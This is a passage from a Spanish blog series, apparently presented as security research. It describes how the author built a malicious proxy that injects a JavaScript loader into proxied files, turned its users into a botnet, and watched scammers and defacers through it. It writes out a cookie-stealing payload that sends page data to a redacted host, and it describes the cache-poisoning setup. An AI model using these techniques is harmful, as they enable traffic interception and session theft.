Owning bad guys & mafia with Javascript botnets (4 de 5)

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

¿Quién usa los servidores Proxy de Internet?

Las razones principales para utilizar un Servidor Proxy de Internet suelen ser dos. La primera de ellas es, evidentemente, ocultar la dirección IP de procedencia de la conexión. Este tipo de usuarios busca, sin duda, no dejar la dirección IP de la conexión inicial en un fichero de log que pueda apuntar directamente hacia su persona. La segunda razón suele ser para saltar restricciones de acceso en la red de conexión, es decir, usuarios que quieren saltarse alguna protección que haya en la red de la organización para conectare a sitios no permitidos por el administrador de red.

Con este tipo de motivaciones de base, el tipo de usuarios de nuestro Servidor Proxy fue de lo mas variopinto, dejándonos una buena colección de datos dignos de estudiar profundamente. Entre los más llamativos nos encontramos los siguientes.

Estafadores: El timo del Nigeriano

Uno de los usuarios de este tipo de Servicios Proxy en Internet resultó ser un estafador que se dedicaba a vender supuestas Visas de trabajo para UK en direcciones de la India. Para ello hacía una intensa campaña de Spam desde un correo electrónico solicitando pagos por Westerm Union.

Figura 13: Campaña de estafa por Spam y petición de dinero

Por supuesto, algunos de los receptores de los mensajes eran bastante escépticos y sus respuestas fueron bastante negativas, pero pudimos constatar como algunas personas pagaban y enviaban todos sus datos para la obtención de una Visa que no llegaría jamás.

Figura 14: Víctima enviando toda la documentación requerida

Estafadores: La tía buena con la que ligaste anoche

Otro de los tipos de estafadores con los que nos topamos se dedicaba a mantener perfiles falsos de mujeres en distintas redes sociales de contactos sentimentales. En cada uno de ellos, la ubicación, el nombre y la edad de la mujer era distinto. De hecho, la misma persona mantenía perfiles con distintos tipos de mujeres, lo que le permitía abrir el abanico de víctimas.

Figura 15: Perfil falso 1

Por motivos de espacio os dejo solo un par de los perfiles de todos los que vimos que mantiene el mismo tipo.

Figura 16: Perfil falso 2

Su modelo de negocio era más o menos el mismo. Haciendo una jornada laboral, este alemán se dedica a ligar con la gente y solicitar dinero por Western Union para pagarse el viaje hasta donde vive la víctima y pasar una noche de amor loco. Como tenía muchos encuentros fortuitos, cataloga las conversaciones y las almacena. Algunas son como esta en la que insistentemente solicita el dinero, a cambio de unas supuestas "nicked" (naked) fotos. En el chat se puede ver que, como debe estar chateando con varios a la vez, a veces le juega malas pasadas y pone cosas en su idioma nativo.

Figura 17: Una conversación del estafador

El número de chats, y solicitudes de dinero por Western Union que hacía era altísimo, haciendo de este sistema un auténtico trabajo de horario nocturno.

Estos dos modelos de estafas es alguno de los muchos que vimos, donde pudimos constatar que se hacían todo tipo de estafas, con venta de perros, de vehículos, etc... Una auténtica cantidad de negocios que desconocíamos previamente.

Preocupados por el anonimato

Muchos de los usuarios que entraban a hacer algo "alegal", lo primero que hacían era comprobar su dirección IP en Whatismyip.com o sitios de comprobación de si se es anónimo o no, pero al final, visto lo visto, no solo deberían comprobar su direccionamiento.

Hackers hackeando hackeados

Uno de los temas que no nos llamó la atención, ya que lo esperábamos, fue encontrar a muchos hackers usando Webshells a través de los Servidores Proxy para defacear sitios web. Entre ellos nos quedamos con este que vimos como en tiempo real hacía un defacement.

Figura 18: El defacement del hacker

Cuando analizamos el porqué se había quedado infectado, nos dimos cuenta de que estaba utilizando una webshell troyanizada que cargaba un fichero Javascript para reportar la URL de la webshell. Ese fichero Javascript fue troyanizado por el Servidor Proxy y nos permitió descubrir dónde estaba la shell.

Figura 19: Webshell con la petición del javascript troyano

Hasta el momento, todo lo que se ha obtenido ha sido mediante observación pasiva de navegación, pero... ¿se podría hacer una infección activa seleccionando infectar sitios webs a los que no se haya navegado a través del Servidor Proxy? La respuesta es sí, y la veremos en la última parte del artículo.

Saludos Malignos!

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

Owning bad guys & mafia with Javascript botnets (3 de 5)

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

Distribuyendo el servidor Proxy por Internet

Para conseguir que los "malos" utilizasen nuestro servidor Proxy malicioso la idea fue muy simple: Lo dimos de alta en listas de servidores Proxy. Durante mucho tiempo, y en muchos sitios y blogs, se recomienda el uso de servidores Proxy para conseguir anonimato de dirección IP, algo que es común que hagamos muchos entre los que me he de incluir. Para ello se seleccionó un sitio al azar y dimos de alta la dirección IP con el puerto 31337, para que llamase un poco más la atención.

Figura 9: Servicio de servidores proxy

Estos sitios de listas de servidores Proxy realizan tests de seguridad a los servidores Proxy, pero ni mucho menos como los de las redes TOR. De hecho, el verdadero problema no es que el sitio donde se de alta el servidor Proxy haga los tests o no, sino que una vez que entra en la lista, hay cientos de sitios y aplicaciones que están descargando esas listas si realizar ninguna comprobación de seguridad.

Basta con pasar la primera prueba, que por lo que vimos eran pruebas de conexión y funcionalidad, y la "magia" de Internet hará que tu dirección IP aparezca en miles de sitios, como es lo que ocurrió con nuestra dirección IP.

Figura 10: La dirección IP del servidor Proxy apareció en miles de sitios

Expansión de la botnet

Una vez que se produjo la distribución masiva de la dirección IP, el resto del trabajo era esperar a ver cuantos "malos" empezaban a estar infectados por los códigos Javascript. Para ello se hizo un pequeño panel en PHP donde se contabilizaban los bots que habían solicitado los payloads alguna vez y los que los habían solicitado en las últimas 24 horas.

El número de equipos que se infectaron era tan alto al principio que nos tiraban el panel, así que hubo que optimizar un poco las consultas, y ser mucho más selectivo en las conexiones y datos que se tomaban, para no saturar nuestro pequeño servidor con tanto dato.

Figura 11: Número de bots activos y por paises. Rusia y Brasil Wins.

En este caso se puede ver cómo el panel alcanzó en uno de los momentos cas 5.000 bots con casi 1.000 de ellos activos en las últimas horas. Como se puede ver, al hacer un análisis de de los orígenes de conexión, Rusia, Brasil e Indonesia eran los países más activos en a la hora de utilizar estos servicios. Curiosamente coinciden con el origen de mucho malware.

Haciendo Payloads

Una vez que teníamos la pasarela Javascript introducida en el navegador... ¿qué se podría hacer desde allí?. El volumen de ideas que se os puede ocurrir es enorme. Desde hacer ataques D.D.O.S, hasta defacear el aspecto que tienen las webs visitadas por ese cliente, pasando por ataques de Phishing para robar credenciales de acceso de sitios especiales o robar las cookies de las sesiones.

Como no teníamos intención de hacer nada malo con esto, y nuestro objetivo era hacer un experimento para ver qué tipo de cosas se hacían a través de los servidores Proxy de Internet, sólo se pusieron en marcha un par de payloads.

1) Identificación de bot, y robo de cookies que no fueran HTTPOnly y su URL
2) Robo de datos enviados en formularios cargados por HTTP

Identificando el BOT y la URL de conexión

Dejamos fuera de los payloads las conexiones HTTP-s y las cookies HTTPOnly, porque no teníamos un objetivo malicioso real, y porque nos era suficiente como muestra obtener esa información.

De esta forma, el primer payload de identificación sólo hacía esto:

document.write(“<img id="domaingrabber" src="http://X.X.X.X/panel/ domaingrabber.php?id=0.0.0.0 &domain="+document.domain+" &location=" +document.location+"& cookie="+document.cookie+"" style="display: none;" />");

Lo que nos permitía saber en qué URL se estaba conectando y si tenía alguna cookie de sesión insegura. Esta información nos permitió encontrar cosas muy jugosas y descubrir un nuevo Internet lleno de URLs que no habíamos visitado nunca.

Consiguiendo los datos de los formularios

Para conseguir los datos de los formularios, se generó un pequeño script que hookeaba los eventos submit de los forms, con este sencillo código Javascript.

Figura 12: Script para hookear los submits de los forms

Y el resto fue descubrir lo que se hace a través de un servidor Proxy anónimo en Internet... ¿Qué nos encontramos por allá?

Saludos Malignos!

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

Owning bad guys & mafia with Javascript botnets (2 de 5)

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

Arquitectura de la solución: Infección de Javascript

Para conseguir el objetivo de poder infectar a clientes con ficheros Javascript maliciosos, lo ideal sería no añadir un nuevo fichero, sino modificar los ficheros Javascript que pasaran por el servidor Proxy malicioso añadiendo un poco de código para cargar un payload cada vez que se ejecutase ese código en una pestaña del navegador. Es decir, una arquitectura más o menos como la que se puede ver en la imagen siguiente:

Figura 4: Arquitectura de Proxy Malicioso

Es decir, que la arquitectura lo que hace es modificar el código de los ficheros Javascript que pasan por el servidor Proxy para que cargue dinámicamente los payloads que se van a configurar más adelante con un panel de control como BeEF.

Montando el servidor Proxy: SQUID

Para conseguir hacer la reescritura de los ficheros Javascript los pasos necesarios son:

1) Descargar el fichero de su ubicación original
2) Guadarlo en una ubicación temporal
3) Añadir el código Javascript de la infección al final del fichero Javascript
4) Hacer que ese fichero tenga una fecha de expiración de 3.000 días
5) Entregar al cliente el nuevo fichero Javascript creado.

Con el objetivo de poder realizar todos estos pasos, lo primero que hay que hacer es activar la opción del servidor SQUID de URL_Rewrite_Program, que permite ejecutar un programa para reescribir los ficheros que cumplan una determinada condición. En este caso, la regla se aplica a todos los ficheros y se utiliza un programa en Perl llamado poison.pl.

Figura 5: squid.conf con activación de url_rewrite_program

El fichero poison.pl realiza los pasos 1 a 5 - con la excepción del paso 4 - del proceso descrito anteriormente. Para ello, primero comprueba que el nombre del fichero termina en .js con una pequeña expresión regular. Una vez que se cumpla que el fichero sea Javacript, el programa lo descarga de la ubicación original, lo copia a una ubicación temporal, le cambia los permisos para poder escribir en él, y le vuelca el contenido del fichero de infección, que en nuestro ejemplo se llama pasarela.js

Figura 6: Módulo poison.pl para realizar la infección de ficheros Javascript

El último paso a configurar consiste en modificar la fecha de expiración de los objetos. Para ello es necesario instalar en Apache el módulo mod_expires y realizar un pequeño cambio en el fichero .htaccess de la ubicación desde la que se van a servir todos los ficheros Javascript infectados.

Figura 7: Fichero .htaccess en la carpeta temporal con fecha de expiración alargada

La infección

Por último, cabe destacar que lo único que es necesario infectar en los ficheros Javascript es algo que se llamó pasarela.js y que lo único que hace es cargar el poison payload.php desde el servidor malicioso y reportar su identidad cargando una imagen con jsonip.php.

Figura 8: pasarela.js que se copia en todos los archivos Javascript que pasan por el Proxy

En el código se puede ver como se comprueba si hay creado un elemento y si no se crea. El objeto es que no se ejecute más de una vez por página el código de la pasarela.

Y ahora... ¿cómo conseguir que alguien se infecte con este Proxy Malicioso?

Saludos Malignos!

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

Owning bad guys & mafia with Javascript botnets (1 de 5)

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

Botnets

Construir una botnet es una idea que seguro que ha pasado por la cabeza de muchos de vosotros. La idea de tener un panel de control que te permita manejar el comportamiento de miles de máquinas es siguiente atrayente. Sin embargo, realizar ese proceso es dar un paso definitivamente hacia el lado de cibercrimen que hay que tener mucho cuidado en no dar.

A pesar de eso, la prueba de concepto que os voy a narrar en este artículo tiene que ver con esa idea, la de hacer una botnet, pero con una filosofía totalmente distinta. En primer lugar en nuestra prueba de concepto el trabajo que se realiza es totalmente pasivo, es decir, no hay ningún ánimo de controlar las vidas de nadie, sino de estudiar los riesgos que hoy en día tienen ciertos servicios que se han hecho demasiado populares, como son los Proxys "anónimos" y las redes TOR.

Todo este trabajo pretende alertar de los riegos en los que se puede incurrir por el mero hecho de seguir muchos de los tutoriales que hay en Internet sobre el anonimato, y por tener excesiva confianza en los servicios TOR, que tantas veces hemos utilizado.

Dicho esto, os voy contar el proceso que seguimos para hacer una botnet para controlar lo que hacen y cómo lo hacen los tipos malos de Internet.

El hombre en medio

Antes de comenzar a describir la arquitectura es necesario repasar el concepto de las técnicas de man in the middle, o de "hombre en medio". En el mundo de las redes, los ataques de man in the middle son populares y efectivos. Casos típicos en redes IPv4 con técnicas de arp spoofing o rogue DHCP, en redes IPv6 con los ataques de ICMPv6 Spoofing o SLAAC, o casos como los de DNS Poisoning son más que utilizados en esquemas de robo de credenciales. En todos ellos el hombre en medio es una máquina que se situa entre el cliente y el servidor consiguiendo que el tráfico pase por su máquina.

Este esquema de man in the middle en la red se extendió con el mundo del cibercrimen al man in the browser. Durante mucho tiempo "la escuela rusa" estuvo azotando a los sistemas con Internet Explorer 6 haciendo uso de los famosos Browser Helper Objects (BHO), es decir, componentes ActiveX que, cual barra de herramientas para el navegador, se encargaban de controlar todo lo que pasaba en el browser para cambiar las páginas de entidades financieras y robar las credenciales de acceso.

Este esquema de "negocio" se trasladó, por supuesto, a los dipositivos móviles, donde se hablar del man in the mobile, ya que para poder controlar las transacciones económicas de muchos bancos era necesario robar el SMS de confirmación del banco.

El hombre en el pestaña

Aún más sutiles si caben, son las técnicas de "man in the tab" o "Javascript in the middle" o, de envenenamiento de la caché del navegador. En estos casos el atacante no está dentro de todo el navegador, y su único ámbito de trabajo es el contenido de una pestaña. Es decir, ha conseguido meter un código malicioso en la pestaña del usuario, lo que le permite hacer todas las cosas que se puedan hacer con un código en una página web.

Estos ataques son utilizados habitualmente en esquemas de XSS, en donde el atacante inyecta un código que se ejecuta en la pestaña del navegador, tal y como se contó en el trabajo del año 2008 WebBotnets, la amenaza fantasma. Otra forma habitual es la de ownear servidores web legítimos para meter un código Javascript que se encarga de redirigir al visitante de la web hacia un servidor donde se han desplegado los kits de explotación. Algo muy común en las operaciones de distribución masiva de malware.

Figura 1: Trojan: JS/Redirector.GA

Pero hay incluso malware que su funcionamiento se basa íntegramente en eso, en cachear un fichero Javascript malicioso que se cargue de forma habitual en las pestañas para conseguir sus ejecuciones. Así, malware como Trojan: JS/Redirector.GA se encargaban de meter el fichero Javascript de Google Analytics - ampliamente utilizado en las webs de muchos sitos, como este mismo blog - troyanizado, cargando un payload malicioso desde un servidor controlado.

Y una vez dentro

En un entorno donde se ha infectado un fichero javascript que se carga en la página la cantidad de cosas que se pueden hacer es más que suficiente como para hacer que el atacante se quede contento. En primer lugar, al estar dentro del domino se puede acceder a todas las cookies que no estén tageadas como HTTP Only - e incluso a algunas de ellas si se dan las condiciones para hacer un ataque de TRACE o para realizar un ataque de Error 400 en Apache -, por supuesto se puede hacer un ataque de ClickJacking, un Phishing, o robar los datos que se están teclando en la web, interceptar los formularios, cargar código remotamente, etc...

Para generar ataques en estos entornos hay soluciones avanzadas como por ejemplo BeEF (Browser Explotation Framework) que contiene una buena cantidad de payloads ya creados por si consigues meter el fichero js malicioso.

Figura 2: BeEF Project

Con esta idea inicial en mi cabeza, les propuse a mis estudiantes del Master de Seguridad de la UEM que hicieran un sistema de traceo de personas mediante la inyección de un js malicioso de Google Analytics en un esquema de man in the middle. De ahí salió la demo de JAPI tracing que os publiqué hace ya unos meses.

Cómo hacer una botnet con esta idea

Pasar de un entorno en el que se infecta un fichero Javascript concreto a realizar una botnet funcional con Javascript nos implicaba un poco más de trabajo, pero decidimos que la mejor forma sería si ellos lo hicieran motu proprio, es decir, si no fuera un man in the middle forzado sino seleccionado por ellos mismos, y es por lo que decidimos centrarnos en las redes TOR y los servidores Proxy utilizados en Internet.

Para su realización montamos un equipo, que sería el hombre en medio, y lo dimos de alta como un nodo TOR y como un Servidor Proxy anónimo, y en ambos casos estuvo funcionando durante un tiempo. Sin embargo, hemos de decir que con el nodo TOR sufrimos una detección de actividad maliciosa que hizo  ignoraran nuestra dirección IP.

Figura 3: Log de pruebas DNS en TOR

Como ya os publiqué, los sistemas de seguridad de las redes TOR lanzan tests periódicos y aleatorios en los que realizan pruebas de navegación de las que conocen de antemano las respuestas, y si estas son manipuladas en algún término, pues el nodo pierde confianza y es bloqueado. En nuestro caso "retocamos" la respuesta a ciertos nombres de dominio y dejaron de enviar tráfico por nuestro nodo. Bien por ellos.

Sin embargo, con los servidores Proxy de Internet la cosa fue muy distinta...

Saludos Malignos!

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************